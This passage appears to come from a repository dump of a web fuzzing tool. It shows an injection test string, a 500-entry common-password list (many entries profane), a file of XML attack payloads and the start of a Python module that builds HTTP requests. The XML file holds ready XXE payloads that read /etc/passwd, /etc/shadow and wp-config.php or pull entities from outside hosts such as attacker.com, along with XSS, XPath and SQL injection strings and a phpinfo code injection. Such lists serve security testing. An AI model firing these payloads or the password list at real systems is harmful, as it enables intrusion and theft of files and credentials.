XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
3 | INJECTXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
4 | INJECTXXXXXXXXXXX "'`();</test>=/* <!-- // #
5 | 
6 | 


--------------------------------------------------------------------------------
/database/passwords_medium.txt:
--------------------------------------------------------------------------------
  1 | 123456
  2 | password
  3 | 12345678
  4 | 1234
  5 | pussy
  6 | 12345
  7 | dragon
  8 | qwerty
  9 | 696969
 10 | mustang
 11 | letmein
 12 | baseball
 13 | master
 14 | michael
 15 | football
 16 | shadow
 17 | monkey
 18 | abc123
 19 | pass
 20 | fuckme
 21 | 6969
 22 | jordan
 23 | harley
 24 | ranger
 25 | iwantu
 26 | jennifer
 27 | hunter
 28 | fuck
 29 | 2000
 30 | test
 31 | batman
 32 | trustno1
 33 | thomas
 34 | tigger
 35 | robert
 36 | access
 37 | love
 38 | buster
 39 | 1234567
 40 | soccer
 41 | hockey
 42 | killer
 43 | george
 44 | sexy
 45 | andrew
 46 | charlie
 47 | superman
 48 | asshole
 49 | fuckyou
 50 | dallas
 51 | jessica
 52 | panties
 53 | pepper
 54 | 1111
 55 | austin
 56 | william
 57 | daniel
 58 | golfer
 59 | summer
 60 | heather
 61 | hammer
 62 | yankees
 63 | joshua
 64 | maggie
 65 | biteme
 66 | enter
 67 | ashley
 68 | thunder
 69 | cowboy
 70 | silver
 71 | richard
 72 | fucker
 73 | orange
 74 | merlin
 75 | michelle
 76 | corvette
 77 | bigdog
 78 | cheese
 79 | matthew
 80 | 121212
 81 | patrick
 82 | martin
 83 | freedom
 84 | ginger
 85 | blowjob
 86 | nicole
 87 | sparky
 88 | yellow
 89 | camaro
 90 | secret
 91 | dick
 92 | falcon
 93 | taylor
 94 | 111111
 95 | 131313
 96 | 123123
 97 | bitch
 98 | hello
 99 | scooter
100 | please
101 | porsche
102 | guitar
103 | chelsea
104 | black
105 | diamond
106 | nascar
107 | jackson
108 | cameron
109 | 654321
110 | computer
111 | amanda
112 | wizard
113 | xxxxxxxx
114 | money
115 | phoenix
116 | mickey
117 | bailey
118 | knight
119 | iceman
120 | tigers
121 | purple
122 | andrea
123 | horny
124 | dakota
125 | aaaaaa
126 | player
127 | sunshine
128 | morgan
129 | starwars
130 | boomer
131 | cowboys
132 | edward
133 | charles
134 | girls
135 | booboo
136 | coffee
137 | xxxxxx
138 | bulldog
139 | ncc1701
140 | rabbit
141 | peanut
142 | john
143 | johnny
144 | gandalf
145 | spanky
146 | winter
147 | brandy
148 | compaq
149 | carlos
150 | tennis
151 | james
152 | mike
153 | brandon
154 | fender
155 | anthony
156 | blowme
157 | ferrari
158 | cookie
159 | chicken
160 | maverick
161 | chicago
162 | joseph
163 | diablo
164 | sexsex
165 | hardcore
166 | 666666
167 | willie
168 | welcome
169 | chris
170 | panther
171 | yamaha
172 | justin
173 | banana
174 | driver
175 | marine
176 | angels
177 | fishing
178 | david
179 | maddog
180 | hooters
181 | wilson
182 | butthead
183 | dennis
184 | fucking
185 | captain
186 | bigdick
187 | chester
188 | smokey
189 | xavier
190 | steven
191 | viking
192 | snoopy
193 | blue
194 | eagles
195 | winner
196 | samantha
197 | house
198 | miller
199 | flower
200 | jack
201 | firebird
202 | butter
203 | united
204 | turtle
205 | steelers
206 | tiffany
207 | zxcvbn
208 | tomcat
209 | golf
210 | bond007
211 | bear
212 | tiger
213 | doctor
214 | gateway
215 | gators
216 | angel
217 | junior
218 | thx1138
219 | porno
220 | badboy
221 | debbie
222 | spider
223 | melissa
224 | booger
225 | 1212
226 | flyers
227 | fish
228 | porn
229 | matrix
230 | teens
231 | scooby
232 | jason
233 | walter
234 | cumshot
235 | boston
236 | braves
237 | yankee
238 | lover
239 | barney
240 | victor
241 | tucker
242 | princess
243 | mercedes
244 | 5150
245 | doggie
246 | zzzzzz
247 | gunner
248 | horney
249 | bubba
250 | 2112
251 | fred
252 | johnson
253 | xxxxx
254 | tits
255 | member
256 | boobs
257 | donald
258 | bigdaddy
259 | bronco
260 | penis
261 | voyager
262 | rangers
263 | birdie
264 | trouble
265 | white
266 | topgun
267 | bigtits
268 | bitches
269 | green
270 | super
271 | qazwsx
272 | magic
273 | lakers
274 | rachel
275 | slayer
276 | scott
277 | 2222
278 | asdf
279 | video
280 | london
281 | 7777
282 | marlboro
283 | srinivas
284 | internet
285 | action
286 | carter
287 | jasper
288 | monster
289 | teresa
290 | jeremy
291 | 11111111
292 | bill
293 | crystal
294 | peter
295 | pussies
296 | cock
297 | beer
298 | rocket
299 | theman
300 | oliver
301 | prince
302 | beach
303 | amateur
304 | 7777777
305 | muffin
306 | redsox
307 | star
308 | testing
309 | shannon
310 | murphy
311 | frank
312 | hannah
313 | dave
314 | eagle1
315 | 11111
316 | mother
317 | nathan
318 | raiders
319 | steve
320 | forever
321 | angela
322 | viper
323 | ou812
324 | jake
325 | lovers
326 | suckit
327 | gregory
328 | buddy
329 | whatever
330 | young
331 | nicholas
332 | lucky
333 | helpme
334 | jackie
335 | monica
336 | midnight
337 | college
338 | baby
339 | cunt
340 | brian
341 | mark
342 | startrek
343 | sierra
344 | leather
345 | 232323
346 | 4444
347 | beavis
348 | bigcock
349 | happy
350 | sophie
351 | ladies
352 | naughty
353 | giants
354 | booty
355 | blonde
356 | fucked
357 | golden
358 | 0
359 | fire
360 | sandra
361 | pookie
362 | packers
363 | einstein
364 | dolphins
365 | 0
366 | chevy
367 | winston
368 | warrior
369 | sammy
370 | slut
371 | 8675309
372 | zxcvbnm
373 | nipples
374 | power
375 | victoria
376 | asdfgh
377 | vagina
378 | toyota
379 | travis
380 | hotdog
381 | paris
382 | rock
383 | xxxx
384 | extreme
385 | redskins
386 | erotic
387 | dirty
388 | ford
389 | freddy
390 | arsenal
391 | access14
392 | wolf
393 | nipple
394 | iloveyou
395 | alex
396 | florida
397 | eric
398 | legend
399 | movie
400 | success
401 | rosebud
402 | jaguar
403 | great
404 | cool
405 | cooper
406 | 1313
407 | scorpio
408 | mountain
409 | madison
410 | 987654
411 | brazil
412 | lauren
413 | japan
414 | naked
415 | squirt
416 | stars
417 | apple
418 | alexis
419 | aaaa
420 | bonnie
421 | peaches
422 | jasmine
423 | kevin
424 | matt
425 | qwertyui
426 | danielle
427 | beaver
428 | 4321
429 | 4128
430 | runner
431 | swimming
432 | dolphin
433 | gordon
434 | casper
435 | stupid
436 | shit
437 | saturn
438 | gemini
439 | apples
440 | august
441 | 3333
442 | canada
443 | blazer
444 | cumming
445 | hunting
446 | kitty
447 | rainbow
448 | 112233
449 | arthur
450 | cream
451 | calvin
452 | shaved
453 | surfer
454 | samson
455 | kelly
456 | paul
457 | mine
458 | king
459 | racing
460 | 5555
461 | eagle
462 | hentai
463 | newyork
464 | little
465 | redwings
466 | smith
467 | sticky
468 | cocacola
469 | animal
470 | broncos
471 | private
472 | skippy
473 | marvin
474 | blondes
475 | enjoy
476 | girl
477 | apollo
478 | parker
479 | qwert
480 | time
481 | sydney
482 | women
483 | voodoo
484 | magnum
485 | juice
486 | abgrtyu
487 | 777777
488 | dreams
489 | maxwell
490 | music
491 | rush2112
492 | russia
493 | scorpion
494 | rebecca
495 | tester
496 | mistress
497 | phantom
498 | billy
499 | 6666
500 | albert
501 | 


--------------------------------------------------------------------------------
/database/xml-attacks.txt:
--------------------------------------------------------------------------------
 1 | <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
 2 | <!DOCTYPE foo [<!ENTITY xxe7eb97 SYSTEM "file:///etc/passwd"> ]>
 3 | <!DOCTYPE foo [<!ENTITY xxe7eb97 SYSTEM "file:///c:/boot.ini"> ]>
 4 | <!DOCTYPE foo [<!ENTITY xxe46471 SYSTEM "http://crowdshield.com/.testing/rfi_vuln.txt"> ]>
 5 | <?xml version="1.0"?><methodCall><methodName>demo.sayHello</methodName><params></params></methodCall>
 6 | <?xml version="1.0"?><change-log><text>Hello World</text></change-log>
 7 | <?xml version="1.0"?><change-log><text>&quot;Hello World&quot;</text></change-log>
 8 | <?xml version="1.0"?><!DOCTYPE change-log[ <!ENTITY myEntity "World"> ]><change-log><text>Hello &myEntity;</text></change-log>
 9 | <?xml version="1.0"?><!DOCTYPE change-log[ <!ENTITY myEntity "World"><!ENTITY myQuote "&quot;"> ]><change-log><text>&myQuote;Hello &myEntity;&myQuote;</text></change-log>
10 | <!ENTITY systemEntity SYSTEM "robots.txt">
11 | <change-log> <text>&systemEntity;</text> </change-log>
12 | <?xml version="1.0"?> <!DOCTYPE change-log [ <!ENTITY systemEntity SYSTEM "robots.txt"> ]> <change-log> <text>&systemEntity;</text> </change-log>
13 | <?xml version="1.0"?> <!DOCTYPE change-log [ <!ENTITY systemEntity SYSTEM "../../../../boot.ini"> ]> <change-log> <text>&systemEntity;</text> </change-log>
14 | <?xml version="1.0"?> <!DOCTYPE change-log [ <!ENTITY systemEntity SYSTEM "robots.txt"> ]> <change-log> <text>&systemEntity;</text>; </change-log>
15 | <test> $lDOMDocument->textContent=<![CDATA[<]]>script<![CDATA[>]]>alert('XSS')<![CDATA[<]]>/script<![CDATA[>]]> </test>
16 | <?xml version="1.0"?><change-log><text><script>alert(1)</script></text></change-log>
17 | count(/child::node())
18 | x' or name()='username' or 'x'='y
19 | <name>','')); phpinfo(); exit;/*</name>
20 | <![CDATA[<script>var n=0;while(true){n++;}</script>]]>
21 | <![CDATA[<]]>SCRIPT<![CDATA[>]]>alert('XSS');<![CDATA[<]]>/SCRIPT<![CDATA[>]]>
22 | <?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[<]]>SCRIPT<![CDATA[>]]>alert('XSS');<![CDATA[<]]>/SCRIPT<![CDATA[>]]></foo>
23 | <?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[' or 1=1 or ''=']]></foo>
24 | <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file://c:/boot.ini">]><foo>&xxe;</foo>
25 | <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:////etc/passwd">]><foo>&xxe;</foo>
26 | <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:////etc/shadow">]><foo>&xxe;</foo>
27 | <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "https://crowdshield.com/.testing/rfi_vuln.txt">]><foo>&xxe;</foo>
28 | <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "http://xerosecurity.com/.testing/rfi_vuln.txt">]><foo>&xxe;</foo>
29 | <xml ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>"
30 | <xml ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></xml><SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN></C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>"
31 | <xml SRC="https://crowdshield.com/.testing/rfi_vuln.txt" ID=I></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>"
32 | <HTML xmlns:xss><?import namespace="xss" implementation="https://crowdshield.com/.testing/xss.html"><xss:xss>XSS</xss:xss></HTML>
33 | <xml ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>
34 | <xml ID="xss"><I><B>&lt;IMG SRC="javas<!-- -->cript:alert('XSS')"&gt;</B></I></xml><SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN></C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
35 | <xml SRC="https://crowdshield.com/.testing/xss.html" ID=I></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
36 | <?xml version='1.0' standalone='no'?><!DOCTYPE foo [<!ENTITY % f5a30 SYSTEM "https://crowdshield.com/.testing/rfi_vuln.txt">%f5a30; ]>
37 | ‘
38 | “
39 | <?xml version="1.0"?> <!DOCTYPE change-log [ <!ENTITY systemEntity SYSTEM "../../../boot.ini" ]> <change-log> <text>&systemEntity;</text>; </change-log>
40 | <?xml version="1.0" encoding="utf-8"?><!DOCTYPE doc [<!ELEMENT test ANY ><!ENTITY xxe SYSTEM "php://filter/read-convert.base64-encode/resource=file:///C:/boot.ini" >]><doc><test>Contents of file: &xxe;</test></doc>
41 | <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [     <!ELEMENT foo ANY >  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo> 
42 | <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [     <!ELEMENT foo ANY >   <!ENTITY xxe SYSTEM "file:///etc/shadow" >]><foo>&xxe;</foo>
43 | <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [     <!ELEMENT foo ANY >  <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo> 
44 | <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [     <!ELEMENT foo ANY >   <!ENTITY xxe SYSTEM "https://crowdshield.com/.testing/rfi.txt" >]><foo>&xxe;</foo>
45 | "}}</script><script>alert(1);</script></body></html><!-- 
46 | }}</script>'"
47 | }}</script>'
48 | '}}</script>'
49 | '}}</script>"
50 | <?xml version="1.0" encoding="utf-16" standalone="yes"?><methodCall><methodName>pingback.ping</methodName><params><param><value><string>https://wordpress.org/</string></value></param><param><value><string>http://xerosecurity.com</string></value></param></params></methodCall>
51 | <xml version="1.0"?><!DOCTYPE XXE [<!ELEMENT methodName ANY ><!ENTITY xxe SYSTEM "../../../../../../../etc/passwd">]><methodCall><methodName>&xxe</methodName></methodCall>
52 | <xml version="1.0"?><!DOCTYPE XXE [<!ELEMENT methodName ANY ><!ENTITY xxe SYSTEM "http://xerosecurity.com/.testing/rfi_vuln.txt">]><methodCall><methodName>&xxe</methodName></methodCall>
53 | <xml version="1.0"?><!DOCTYPE XXE [<!ELEMENT methodName ANY ><!ENTITY xxe SYSTEM "https://crowdshield.com/.testing/rfi_vuln.txt">]><methodCall><methodName>&xxe</methodName></methodCall>
54 | <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:////dev/random">]><foo>&xxe;</foo>
55 | <xml ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></xml><SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN></C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
56 | <xml SRC="xsstest.xml" ID=I></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
57 | <HTML xmlns:xss><?import namespace="xss" implementation="http://ha.ckers.org/xss.htc"><xss:xss>XSS</xss:xss></HTML>
58 | <?xml version="1.0" encoding="utf-8"?><!DOCTYPE doc [<!ELEMENT test ANY ><!ENTITY xxe SYSTEM "php://filter/read-convert.base64-encode/resource=file:///C:/htdocs/wordpress/wp-config.php" >]><doc><test>Contents of file: &xxe;</test></doc>
59 | <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo><?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/shadow">]><foo>&xxe;</foo>
60 |  <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo> <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY >   <!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt">]><foo>&xxe;</foo>
61 | }}</script><script>alert(1);</script></body></html><!-- 
62 | "}}</script>'
63 | }}</script>""'"
64 | <?xml version="1.0" standalone="yes"?><!DOCTYPE ernw [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]><svg width="500px" height="40px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">&xxe;</svg>
65 | <?xml version="1.0" standalone="yes"?><!DOCTYPE ernw [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]><svg width="500px" height="100px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-family="Verdana" font-size="16" x="10" y="40">&xxe;</text></svg>
66 | <![CDATA[<]]>SCRIPT<![CDATA[>]]>alert('XSS');<![CDATA[<]]>/SCRIPT<![CDATA[>]]>
67 | <![CDATA[<]]>script<![CDATA[>]]>alert('xss')<![CDATA[<]]>/script<![CDATA[>]]>
68 | 
69 | 


--------------------------------------------------------------------------------
/sources/http.py:
--------------------------------------------------------------------------------
  1 | from curses import raw
  2 | from email.mime import base
  3 | from shutil import ExecError
  4 | import requests
  5 | import time
  6 | 
  7 | from .printing import print, log, Colors, Strings
  8 | 
  9 | class Request():
 10 |     def __init__(self, url, data:str()="", headers: dict()={}, method="GET", parameter="", placeholder="§", place=["url"]):
 11 |         self.url = url
 12 |         self.data = data
 13 |         self.headers = headers
 14 |         self.method = method
 15 |         self.parameter = parameter
 16 |         self.placeholder = placeholder
 17 |         self.place = place
 18 |         self.fill_placeholders()
 19 |     
 20 |     def fill_placeholders(self,):
 21 |         if "raw" in self.place:
 22 |             if self.placeholder in self.data:
 23 |                 self.place.append("data")
 24 |             if self.placeholder in "".join([k+v for k,v in self.headers.items()]):
 25 |                 self.place.append("headers")
 26 |             if self.placeholder in self.url:
 27 |                 self.place.append("url")
 28 |             self.place.remove("raw")
 29 |             self.place = list(set(self.place))
 30 |         if "url" in self.place:
 31 |             self.url = self.url.replace(self.placeholder, self.parameter)
 32 |         if "data" in self.place:
 33 |             self.data = self.data.replace(self.placeholder, self.parameter)
 34 |         if "headers" in self.place:
 35 |             new_headers = dict()
 36 |             for key, value in self.headers.items():
 37 |                 new_headers[key.replace(self.placeholder, self.parameter)] = value.replace(self.placeholder, self.parameter)
 38 |             self.headers = new_headers
 39 | 
 40 | class Empty_response():
 41 |     status_code = 000
 42 |     text = ""
 43 |     content = b""
 44 |     headers = {}
 45 |     class T():
 46 |         time = 0.0
 47 |         def total_seconds(self):
 48 |             return self.time
 49 |     elapsed = T()
 50 | 
 51 | class Raw_Request():
 52 |     def __init__(self, raw_request, base_url=None, force_ssl=False):
 53 |         self.raw_request = raw_request
 54 |         self.raw_request_splitted = self.raw_request.splitlines()
 55 |         self.base_url = base_url
 56 |         self.protocol = "http" if not force_ssl else "https"
 57 |         self.force_ssl = force_ssl
 58 | 
 59 |         self.method = str()
 60 |         self.path = str()
 61 |         self.version = str()
 62 |         self.data = str()
 63 |         self.headers = {}
 64 |         self.url = str()
 65 |     
 66 |     def build_url(self):
 67 |         if self.base_url is None:
 68 |             log("No base url provided, using the host header... in http mode (change the default mode to https with the flag --force-ssl)", type="debug")
 69 |             if not "host" in self.headers.keys():
 70 |                 log(f"Could not retrive URL to run the tests against :( if you don't want to precise the \"Host\" header (for example, if you are fuzzing the Host header), use the -ur flag to set an url for the target (ie \"-ur http://site.com\")",type="fatal")
 71 |                 exit(1)
 72 |             self.base_url = f"{self.protocol}://{self.headers['host']}"
 73 |         else:
 74 |             if self.base_url.endswith("/"):
 75 |                 self.base_url = self.base_url[:-1]
 76 |             if self.base_url.startswith("http://") and self.force_ssl:
 77 |                 self.base_url= f"{self.protocol}{self.base_url[4:]}"
 78 |         self.url = f"{self.base_url}{'/' if not self.path.startswith('/') else ''}{self.path}"
 79 | 
 80 |     def parse_raw_request(self):
 81 |         log(f"Parsing request provided.", type="info")
 82 |         while len(self.raw_request_splitted[0]) == 0:
 83 |             self.raw_request_splitted = self.raw_request_splitted[1:]
 84 |         try:
 85 |             self.method, self.path, self.version = self.raw_request_splitted[0].split(" ")
 86 |             self.raw_request_splitted = self.raw_request_splitted[1:]
 87 |         except:
 88 |             log(f"Invalid http request ! first line {self.raw_request_splitted[0]} is invalid (not like {{method}} {{path}} {{version}}", type="fatal")
 89 |             exit(1)
 90 |         
 91 |         while len(self.raw_request_splitted) > 0 and len(self.raw_request_splitted[0]) > 0:
 92 |             try:
 93 |                 k,v = self.raw_request_splitted[0].split(": ")
